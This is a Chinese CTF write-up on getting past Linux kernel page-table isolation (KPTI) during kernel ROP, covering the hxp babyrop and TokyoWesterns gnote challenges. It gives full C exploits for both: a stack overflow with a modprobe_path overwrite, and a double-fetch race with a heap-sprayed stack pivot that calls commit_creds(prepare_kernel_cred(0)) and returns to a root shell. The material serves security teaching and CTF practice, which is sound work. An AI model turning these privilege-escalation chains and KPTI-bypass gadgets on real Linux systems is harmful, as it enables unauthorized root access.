最近做题遇到一种错误，当执行ROP返回用户态时会报一个段错误。后面了解到是因为内核开启了KPTI保护。于是本篇文章主要讲述针对这种保护的绕过方法。
KPTI简介
在没有开启 KPTI保护的内核中，每当执行用户空间代码时，Linux会在其分页表中保留整个内核内存的映射，即用户地址空间和内核地址空间将使用同一个页全局目录表，并保护其访问。
KPTI(Kernel page-table isolation)，即内核页表隔离。通过把进程页表按照用户空间和内核空间隔离成两块来防止内核页表泄露。可以在-append选项下添加kpti=1或nopti来启用或禁用它。
而在开启了 KPTI保护的内核里，用户态页表包含了用户空间，其只含有一个用于处理中断的kernel mapping PGD。当用户空间访问内核时，会先陷入中断，进入处理中断的 trampoline mapping，该中断处理程序会建立一个正常的的kernel mapping的映射。
而为了实现 PGD的切换，内核增加了一组宏用来在进程进行用户态、内核态切换时进行页表切换。一个进程的内核态PGD(4k)和用户态 PGD(4K)一起形成了一个8K的 PGD。当中断发生时，内核使用切换 CR3寄存器来实现从用户态地址空间切换到内核态的地址空间。CR3的 bit47-bit11为 PGD的物理地址，最低为 bit12用于进行 PGD切换；bit12=0为内核态PGD，bit12=1为用户态 PGD。
CR3的 bit0-bit11为 asid(Address Space Identifier)，asid也分为 内核态和用户态，最高位 bit11来进行 asid切换；bit11=0为内核态 asid，bit11=1为用户态 asid。
那么一旦开启了 KPTI,由于内核态和用户态的页表不同，所以如果使用 ret2user或内核执行 ROP返回用户态时，由于内核态无法确定用户态的页表，所以会报出一个段错误。
KPTI绕过
了解了 KPTI的特性之后，这里主要有2种思路来进行绕过。
swap CR3
在一个开启 KPTI内核中会调用 SWITCH_KERNEL_CR3_NO_STACK函数来从用户态进入内核态，关键代码如下所示：
mov rdi, cr3
nop
nop
nop
nop
nop
and rdi, 0xFFFFFFFFFFFFE7FF
mov cr3, rdi
该代码就是将 CR3的 第12位与第13位清零。而页表的第12位在 CR4寄存器的 PCIDE位开启的情况下，都是保留给 OS使用，这里只关心 13位置零即可，也就相当于将 CR3-0x1000。
而在从内核态返回用户态时会调用 SWITCH_USER_CR3宏来切换 CR3，如下所示：
mov rdi, cr3
or rdi, 1000h
mov cr3, rdi
所以，这里第一种方法就很类似绕过 smep的方法，即利用内核中已有 gadget来在返回用户态执行 iretq/sysret之前 设置 cr3。寻找 到 能够将 cr3寄存器 与 0x1000执行 或运算即可。
swapgs_restore_regs_and_return_to_usermode
第二种方法即直接利用 swapgs_restore_regs_and_return_to_usermode这个函数内的 gadget。其汇编代码如下：
swapgs_restore_regs_and_return_to_usermode
.text:FFFFFFFF81600A34 41 5F pop r15
.text:FFFFFFFF81600A36 41 5E pop r14
.text:FFFFFFFF81600A38 41 5D pop r13
.text:FFFFFFFF81600A3A 41 5C pop r12
.text:FFFFFFFF81600A3C 5D pop rbp
.text:FFFFFFFF81600A3D 5B pop rbx
.text:FFFFFFFF81600A3E 41 5B pop r11
.text:FFFFFFFF81600A40 41 5A pop r10
.text:FFFFFFFF81600A42 41 59 pop r9
.text:FFFFFFFF81600A44 41 58 pop r8
.text:FFFFFFFF81600A46 58 pop rax
.text:FFFFFFFF81600A47 59 pop rcx
.text:FFFFFFFF81600A48 5A pop rdx
.text:FFFFFFFF81600A49 5E pop rsi
.text:FFFFFFFF81600A4A 48 89 E7 mov rdi, rsp
.text:FFFFFFFF81600A4D 65 48 8B 24 25+ mov rsp, gs: 0x5004//从此处开始执行
.text:FFFFFFFF81600A56 FF 77 30 push qword ptr [rdi+30h]
.text:FFFFFFFF81600A59 FF 77 28 push qword ptr [rdi+28h]
.text:FFFFFFFF81600A5C FF 77 20 push qword ptr [rdi+20h]
.text:FFFFFFFF81600A5F FF 77 18 push qword ptr [rdi+18h]
.text:FFFFFFFF81600A62 FF 77 10 push qword ptr [rdi+10h]
.text:FFFFFFFF81600A65 FF 37 push qword ptr [rdi]
.text:FFFFFFFF81600A67 50 push rax
.text:FFFFFFFF81600A68 EB 43 nop
.text:FFFFFFFF81600A6A 0F 20 DF mov rdi, cr3
.text:FFFFFFFF81600A6D EB 34 jmp 0xFFFFFFFF81600AA3
.text:FFFFFFFF81600AA3 48 81 CF 00 10+ or rdi, 1000h
.text:FFFFFFFF81600AAA 0F 22 DF mov cr3, rdi
.text:FFFFFFFF81600AAD 58 pop rax
.text:FFFFFFFF81600AAE 5F pop rdi
.text:FFFFFFFF81600AAF FF 15 23 65 62+ call cs: SWAPGS
.text:FFFFFFFF81600AB5 FF 25 15 65 62+ jmp cs: INTERRUPT_RETURN
_SWAPGS
.text:FFFFFFFF8103EFC0 55 push rbp
.text:FFFFFFFF8103EFC1 48 89 E5 mov rbp, rsp
.text:FFFFFFFF8103EFC4 0F 01 F8 swapgs
.text:FFFFFFFF8103EFC7 5D pop rbp
.text:FFFFFFFF8103EFC8 C3 retn
_INTERRUPT_RETURN
.text:FFFFFFFF81600AE0 F6 44 24 20 04 test byte ptr [rsp+0x20], 4
.text:FFFFFFFF81600AE5 75 02 jnz native_irq_return_ldt
.text:FFFFFFFF81600AE7 48 CF iretq
只需要从上述 mov rsp, gs: 0x5004代码处开始执行，就会依次执行 绕过 kpti和 iretq/sysret两种功能，自动返回用户态。
2020-hxp-babyrop
漏洞分析
ssize_t __fastcall hackme_write(file *f, const char *data, size_t size, loff_t *off)
{
unsigned __int64 v4; // rdx
ssize_t v5; // rbx
int tmp[32]; // [rsp+0h] [rbp-A0h] BYREF
unsigned __int64 v8; // [rsp+80h] [rbp-20h]
_fentry__(f, data);
v5 = v4;
v8 = __readgsqword(0x28u);
if ( v4 > 0x1000 )
{
_warn_printk("Buffer overflow detected (%d < %lu)!\n", 4096LL, v4);
BUG();
}
_check_object_size(hackme_buf, v4, 0LL);
if ( copy_from_user(hackme_buf, data, v5) )
return -14LL;
_memcpy(tmp, hackme_buf);
return v5;
}
程序漏洞十分明显，write函数存在一个栈溢出漏洞。
ssize_t __fastcall hackme_read(file *f, char *data, size_t size, loff_t *off)
{
unsigned __int64 v4; // rdx
unsigned __int64 v5; // rbx
bool v6; // zf
ssize_t result; // rax
int tmp[32]; // [rsp+0h] [rbp-A0h] BYREF
unsigned __int64 v9; // [rsp+80h] [rbp-20h]
_fentry__(f, data);
v5 = v4;
v9 = __readgsqword(0x28u);
_memcpy(hackme_buf, tmp);
if ( v5 > 0x1000 )
{
_warn_printk("Buffer overflow detected (%d < %lu)!\n", 4096LL, v5);
BUG();
}
_check_object_size(hackme_buf, v5, 1LL);
v6 = copy_to_user(data, hackme_buf, v5) == 0;
result = -14LL;
if ( v6 )
result = v5;
return result;
}
read函数能够读取数据。
利用分析
虽然漏洞很简单，但是这道题却开启了各种保护，除了常见的smep、smap，这道题还开了两个特别的保护 FG_KASLR和 KPTI。FG-KASLR是函数级别的细粒度 KASLR，它会使内核中的部分函数的地址与内核基地址的偏移发生随机改变，这将会使得ROP攻击更难找到可以利用的内核地址。而KPTI则是上文所讲的，可以在内核执行ROP返回用户态时报出一个段错误。
所以，这里首先需要找到稳定的可以利用的内核 gadget，其次是要绕过 KPTI。这里选择使用 覆写 modprobe_path来提权。
首先上面讲到 FG-KASLR并不是使所有的内核函数的偏移全部随机化，而是使部分危险函数的偏移随机化，例如 prepare_kernel_cred和 commit_creds函数。然后对于部分函数其偏移仍然是不变化的，例如这里调试发现对于 modprobe_path的地址和 memcpy函数就不发生变化。所以就可以从这部分不发生变化的函数里寻找可用的 gadget，其次利用这些不变的函数来首先提权。
这里先利用 read函数的越界读从栈上读取一个 偏移不变的内核地址，以此来计算得到内核基址。
然后使用 memcpy函数来直接覆盖 modprobe_path的地址。同时，需要注意这里开启了 smap，内核不能使用用户态数据，所以覆写 modprobe_path 时需要将目标字符串 /tmp/chmod.sh部署到内核栈上。 ROP执行如下：
p_rdi_r,
modprobe_path,
p_rsi_r,
target_addr,
p_rdx_r,
0x20,
memcpy_addr,
然后就要考虑绕过 KPTI保护。这里可以发现 swapgs_restore_regs_and_return_to_usermode函数的偏移也是不变的。所以这里可以直接利用这个函数，按照上述方法直接绕过 KPTI保护，返回到用户态。
/ # cat /tmp/kallsyms | grep swapgs_restore_regs_and_return_to_usermode
ffffffffb9800f10 T swapgs_restore_regs_and_return_to_usermode
pwndbg> x/28i 0xffffffffb9800f10
0xffffffffb9800f10: pop r15
0xffffffffb9800f12: pop r14
0xffffffffb9800f14: pop r13
0xffffffffb9800f16: pop r12
0xffffffffb9800f18: pop rbp
0xffffffffb9800f19: pop rbx
0xffffffffb9800f1a: pop r11
0xffffffffb9800f1c: pop r10
0xffffffffb9800f1e: pop r9
0xffffffffb9800f20: pop r8
0xffffffffb9800f22: pop rax
0xffffffffb9800f23: pop rcx
0xffffffffb9800f24: pop rdx
0xffffffffb9800f25: pop rsi
0xffffffffb9800f26: mov rdi,rsp
0xffffffffb9800f29: mov rsp,QWORD PTR gs:0x6004//从此处开始利用
0xffffffffb9800f32: push QWORD PTR [rdi+0x30]
0xffffffffb9800f35: push QWORD PTR [rdi+0x28]
0xffffffffb9800f38: push QWORD PTR [rdi+0x20]
0xffffffffb9800f3b: push QWORD PTR [rdi+0x18]
0xffffffffb9800f3e: push QWORD PTR [rdi+0x10]
0xffffffffb9800f41: push QWORD PTR [rdi]
0xffffffffb9800f43: push rax
0xffffffffb9800f44: xchg ax,ax
0xffffffffb9800f46: mov rdi,cr3
0xffffffffb9800f49: jmp 0xffffffffb9800f7f
0xffffffffb9800f4b: mov rax,rdi
0xffffffffb9800f4e: and rdi,0x7ff
所以后续的 ROP布置如下：
swapgs_restore_regs_and_return_to_usermode+0x19,
0,
0,
&get_shell,
user_cs,
user_rflags,
user_sp,
user_ss
最终的 EXP如下：
// gcc -static -pthread exp.c -g -o exp
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <pthread.h>
#include <errno.h>
#include <poll.h>
#include <arpa/inet.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <sys/msg.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/un.h>
#include <sys/xattr.h>
#include <linux/userfaultfd.h>
int fd = 0;
char bf[0x100] = { 0 };
size_t fault_ptr;
size_t fault_len = 0x4000;
size_t kernel_base = 0x0;
size_t offset = 0x13be80;
size_t victim_fd = 0;
size_t stack_pivot = 0x02cae0;
size_t prepare_kernel_cred = 0x069e00;
size_t commit_creds = 0x2c6e50;
size_t p_rdi_r = 0x38a0;
size_t p_rsi_rdx_rcx_rbp_r = 0x4855;
size_t p_rsi_r = 0x0;
size_t mov_rdi_rax_p_rbp_r = 0x01877f;
size_t swapgs = 0x03ef24;
size_t iretq = 0x200f10+0x16;
size_t kpti_bypass = 0x200f10+0x19;
size_t modprobe_path = 0x1061820;
size_t user_cs, user_ss, user_sp, user_rflags;
size_t memcpy_addr = 0xdd60;
void Err(char* buf){
printf("%s Error\n", buf);
exit(-1);
}
static void save_state() {
asm("movq %%cs, %0\n"
"movq %%ss, %1\n"
"pushfq\n"
"popq %2\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags)
:: "memory");
}
void get_shell(){
if(!getuid()){
puts("Root Now!");
system("/tmp/ll");
system("cat /flag");
}
}
int main(){
system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag\n' > /tmp/chmod.sh");
system("chmod +x /tmp/chmod.sh");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/ll");
system("chmod +x /tmp/ll");
save_state();
fd = open("/dev/hackme", O_RDWR);
if(fd < 0){
Err("Open dev");
}
char* buf= malloc(0x1000);
memset(buf, "a", 0x1000);
read(fd, buf, 0x150);
kernel_base = *(size_t*)(buf+0x130) - 0xa157;
printf("kernel_base: 0x%llx\n", kernel_base);
size_t canary = *(size_t*)(buf+0x80);
printf("canary: 0x%llx\n", canary);
size_t stack_addr = *(size_t*)(buf);
printf("stack_addr: 0x%llx\n", stack_addr);
memcpy_addr += kernel_base;
p_rdi_r += kernel_base;
modprobe_path += kernel_base;
p_rsi_rdx_rcx_rbp_r += kernel_base;
kpti_bypass += kernel_base;
printf("mod: 0x%llx\n", modprobe_path);
size_t rop[0x100] = { 0 };
int i = 0;
memset(rop, '\x00', 0x20);
rop[i++] = canary;
rop[i++] = canary;
rop[i++] = canary;
strncpy(rop+3, "/tmp/chmod.sh\0\n", 0x20);
printf("rop: %s\n",rop+0x18);
for(i=7; i < 20; i++ ){
rop[i] = canary;
}
rop[i++] = p_rdi_r;
rop[i++] = modprobe_path;
rop[i++] = 0;
rop[i++] = p_rsi_rdx_rcx_rbp_r;
rop[i++] = stack_addr;
rop[i++] = 0x20;
rop[i++] = 0;
rop[i++] = 0;
rop[i++] = memcpy_addr;
rop[i++] = kpti_bypass;
rop[i++] = 0;
rop[i++] = 0;
rop[i++] = &get_shell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
write(fd, rop, 0x100);
return 0;
}
2019-TokyoWesterns-gnote
漏洞分析
题目首先就给了源码，从源码中可以直接看出来就两个功能，一个是 write，使用了一个 siwtch case结构，实现了两个功能，一是kmalloc申请堆块，一个是 case 5选择堆块。
ssize_t gnote_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos)
{
unsigned int index;
mutex_lock(&lock);
/*
* 1. add note
* 2. edit note
* 3. delete note
* 4. copy note
* 5. select note
* No implementation :(
*/
switch(*(unsigned int *)buf){
case 1:
if(cnt >= MAX_NOTE){
break;
}
notes[cnt].size = *((unsigned int *)buf+1);
if(notes[cnt].size > 0x10000){
break;
}
notes[cnt].contents = kmalloc(notes[cnt].size, GFP_KERNEL);
cnt++;
break;
case 2:
printk("Edit Not implemented\n");
break;
case 3:
printk("Delete Not implemented\n");
break;
case 4:
printk("Copy Not implemented\n");
break;
case 5:
index = *((unsigned int *)buf+1);
if(cnt > index){
selected = index;
}
break;
}
mutex_unlock(&lock);
return count;
}
还有一个功能就是 read，读取堆块中的数据。
ssize_t gnote_read(struct file *filp, char __user *buf, size_t count, loff_t *f_pos)
{
mutex_lock(&lock);
if(selected == -1){
mutex_unlock(&lock);
return 0;
}
if(count > notes[selected].size){
count = notes[selected].size;
}
copy_to_user(buf, notes[selected].contents, count);
selected = -1;
mutex_unlock(&lock);
return count;
}
这题的漏洞出的十分隐蔽了，write功能中是通过 switch case实现跳转，在汇编中 switch case是通过 swicth table跳转表实现的，即看如下汇编：
.text:0000000000000019 cmp dword ptr [rbx], 5 ; switch 6 cases
.text:000000000000001C ja short def_20 ; jumptable 0000000000000020 default case
.text:000000000000001E mov eax, [rbx]
.text:0000000000000020 mov rax, ds:jpt_20[rax*8] ; switch jump
.text:0000000000000028 jmp __x86_indirect_thunk_rax
会先判断 跳转id是否大于最大的跳转 路径 5，如果不大于再使用 ds:jpt_20这个跳转表来获得跳转的地址。这里可以看到这个 id，首先是从 rbx所在地址中的值与5比较，然后将 rbx中的值复制给 eax，通过 eax来跳转。那么存在一种情况，当 [rbx]与 5比较通过后，有另一个进程修改了 rbx的值 将其改为了 一个大于跳转表的值，这里由于 rbx的值是用户态传入的参数，所以是能够被用户态所修改的。随后系统将 rbx的值传给 eax，此时 eax大于 5，即可实现 劫持控制流到一个 较大的地址。这里存在一个 double fetch洞。
利用分析
泄露地址
这里泄露地址的方法，感觉在真实漏洞中会用到，即利用 tty_struct中的指针来泄露地址。
可以先打开一个 ptmx，然后 close掉。随后使用 kmalloc申请与 tty_struct大小相同的 slub，这样就能将 tty_struct结构体申请出来。然后利用 read函数读取其中的指针，来泄露地址。
double-fetch堆喷
上面已经分析了可以利用 double-fetch来实现任意地址跳转。那么这里我们跳转到哪个地址呢，跳转后又该怎么执行呢？
这里我们首先选择的是用户态空间，因为这里只有用户态空间的内容是我们可控的，且未开启 smap内核可以访问用户态数据。我们可以考虑在用户态通过堆喷布置大量的 gadget，使得内核态跳转时一定能落到 gadget中。那么这里用户态空间选择什么地址呢？
这里首先分析 上面 swicth_table是怎么跳的，这里 jmp_table+(rax*8)，当我们的 rax输入为 0x8000200，假设内核基址为 0xffffffffc0000000，则最终访问的地址将会溢出 (0xffffffffc0000000+0x8000200*8 == 0x1000)，那么最终内核最终将能够访问到 0x1000。
由于内核模块加载的最低地址是 0xffffffffc0000000，通常是基于这个地址有最多 0x1000000大小的浮动，所以这里我们的堆喷页面大小 肯定要大于 0x1000000，才能保证内核跳转一定能跳到 gadget 。而一般未开启 pie的用户态程序地址空间为 0x400000，如果我们选择低于 0x400000的地址开始堆喷，那么最终肯定会对 用户态程序，动态库等造成覆盖。 所以这里我们最佳的地址是 0x8000000，我们的输入为：
(0xffffffffc0000000+0x9000000*8 == 0x8000000)
那么我们选择 0x8000000地址，并堆喷 0x1000000大小的 gadget。这里的思路是最好确保内核态执行执行了 gadget后，能被我们劫持到位于用户态空间的的 ROP上。所以这里选用的 gadget是 xchg eax, esp，会将 RAX寄存器的 低 4byte切换进 esp寄存器，同时 rsp拓展位的高32位清0，这样就切换到用户态的栈了。
然后 ROP部署的地址需要根据 xchg eax, esp这个gadget的地址来计算，通过在 xchg_eax_rsp_r_addr & 0xfffff000处开始分配空间，在 xchg_eax_rsp_r_addr & 0xffffffff处存放内核 ROP链，就可以通过 ROP提权。
绕过KPTI
这里也开启了 KPTI保护，然而这里可以很方便的找到 swap CR3的 gadget：
pwndbg> x/25xi 0xffffffffa5800000+0x600116
0xffffffffa5e00116: mov rdi,cr3
0xffffffffa5e00119: jmp 0xffffffffa5e0014f
0xffffffffa5e0011b: mov rax,rdi
0xffffffffa5e0011e: and rdi,0x7ff
0xffffffffa5e00125: bt QWORD PTR gs:0x1d996,rdi
0xffffffffa5e0012f: jae 0xffffffffa5e00140
0xffffffffa5e00131: btr QWORD PTR gs:0x1d996,rdi
0xffffffffa5e0013b: mov rdi,rax
0xffffffffa5e0013e: jmp 0xffffffffa5e00148
0xffffffffa5e00140: mov rdi,rax
0xffffffffa5e00143: bts rdi,0x3f
0xffffffffa5e00148: or rdi,0x800
0xffffffffa5e0014f: or rdi,0x1000
0xffffffffa5e00156: mov cr3,rdi
0xffffffffa5e00159: pop rax
0xffffffffa5e0015a: pop rdi
0xffffffffa5e0015b: pop rsp
0xffffffffa5e0015c: swapgs
0xffffffffa5e0015f: sysretq
最终将会执行如下代码：
mov rdi,cr3;
jmp 0xffffffffa5e0014f;
or rdi,0x1000;
mov cr3,rdi;
pop rax;
pop rdi;
pop rsp;
swapgs;
sysretq;
可以看到将 CR3与0x1000进行或运算，也就完成了 CR3寄存器的修改。EXP如下：
//$ gcc -O3 -pthread -static -g -masm=intel ./exp.c -o exp
#include <pthread.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/uio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <syscall.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/user.h>
size_t user_cs, user_ss, user_rflags, user_sp;
size_t prepare_kernel = 0x69fe0;
size_t commit_creds = 0x69df0;
size_t p_rdi_r = 0x1c20d;
size_t mv_rdi_rax_p_r = 0x21ca6a;
size_t p_rcx_r = 0x37523;
size_t p_r11_p_rbp_r = 0x1025c8;
size_t kpti_ret = 0x600a4a;
size_t iretq = 0x0;
size_t modprobe_path = 0x0;
size_t xchg_eax_rsp_r = 0x1992a;
size_t xchg_cr3_sysret = 0x600116;
int fd;
int istriggered = 0;
typedef struct Knote{
unsigned int ch;
unsigned int size;
}gnote;
void Err(char* buf){
printf("%s Error\n");
exit(-1);
}
void getshell(){
if(!getuid()){
system("/bin/sh");
}
else{
err("Not root");
}
}
void shell()
{
istriggered =1;
puts("Get root");
char *shell = "/bin/sh";
char *args[] = {shell, NULL};
execve(shell, args, NULL);
}
void getroot(){
char* (*pkc)(int) = prepare_kernel;
void (*cc)(char*) = commit_creds;
(*cc)((*pkc)(0));
}
void savestatus(){
__asm__("mov user_cs,cs;"
"mov user_ss,ss;"
"mov user_sp,rsp;"
"pushf;" //push eflags
"pop user_rflags;"
);
}
void Add(unsigned int sz){
gnote gn;
gn.ch = 1;
gn.size = sz;
if(-1 == write(fd, &gn, sizeof(gnote))){
Err("Add");
}
}
void Select(unsigned int idx){
gnote gn;
gn.ch = 5;
gn.size = idx;
if(-1 == write(fd, &gn, sizeof(gnote))){
Err("Select");
}
}
void Output(char* buf, size_t size){
if(-1 == read(fd, buf, size)){
Err("Read");
}
}
void LeakAddr(){
int fdp=open("/dev/ptmx", O_RDWR|O_NOCTTY);
close(fdp);
sleep(1); // trigger rcu grace period
Add(0x2e0);
Select(0);
char buffer[0x500] = { 0 };
Output(buffer, 0x2e0);
size_t vmlinux_addr = *(size_t*)(buffer+0x18)- 0xA35360;
printf("vmlinux_addr: 0x%llx\n", vmlinux_addr);
prepare_kernel += vmlinux_addr;
commit_creds += vmlinux_addr;
p_rdi_r += vmlinux_addr;
xchg_eax_rsp_r += vmlinux_addr;
xchg_cr3_sysret += vmlinux_addr;
mv_rdi_rax_p_r += vmlinux_addr;
p_rcx_r += vmlinux_addr;
p_r11_p_rbp_r += vmlinux_addr;
kpti_ret += vmlinux_addr;
printf("p_rdi_r: 0x%llx, xchg_eax_rsp_r: 0x%llx\n", p_rdi_r, xchg_eax_rsp_r);
getchar();
puts("Leak addr OK");
}
void HeapSpry(){
char* gadget_mem = mmap((void*)0x8000000, 0x1000000, PROT_READ|PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1,0);
unsigned long* gadget_addr = (unsigned long*)gadget_mem;
for(int i=0; i < (0x1000000/8); i++){
gadget_addr[i] = xchg_eax_rsp_r;
}
}
void Prepare_ROP(){
char* rop_mem = mmap((void*)(xchg_eax_rsp_r&0xfffff000), 0x2000, PROT_READ|PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
unsigned long* rop_addr = (unsigned long*)(xchg_eax_rsp_r & 0xffffffff);
int i = 0;
rop_addr[i++] = p_rdi_r;
rop_addr[i++] = 0;
rop_addr[i++] = prepare_kernel;
rop_addr[i++] = mv_rdi_rax_p_r;
rop_addr[i++] = 0;
rop_addr[i++] = commit_creds;
// xchg_CR3_sysret
rop_addr[i++] = kpti_ret;
rop_addr[i++] = 0;
rop_addr[i++] = 0;
rop_addr[i++] = &shell;
rop_addr[i++] = user_cs;
rop_addr[i++] = user_rflags;
rop_addr[i++] = user_sp;
rop_addr[i++] = user_ss;
}
void race(void *s){
gnote *d=s;
while(!istriggered){
d->ch = 0x9000000; // 0xffffffffc0000000 + (0x8000000+0x1000000)*8 = 0x8000000
puts("[*] race ...");
}
}
void Double_Fetch(){
gnote gn;
pthread_t pthread;
gn.size = 0x10001;
pthread_create(&pthread,NULL, race, &gn);
for (int j=0; j< 0x10000000000; j++)
{
gn.ch = 1;
write(fd, (void*)&gn, sizeof(gnote));
}
pthread_join(pthread, NULL);
}
int main(){
savestatus();
fd=open("proc/gnote", O_RDWR);
if (fd<0)
{
puts("[-] Open driver error!");
exit(-1);
}
LeakAddr();
HeapSpry();
Prepare_ROP();
Double_Fetch();
return 0;
}
发表评论
您还未登录，请先登录。
登录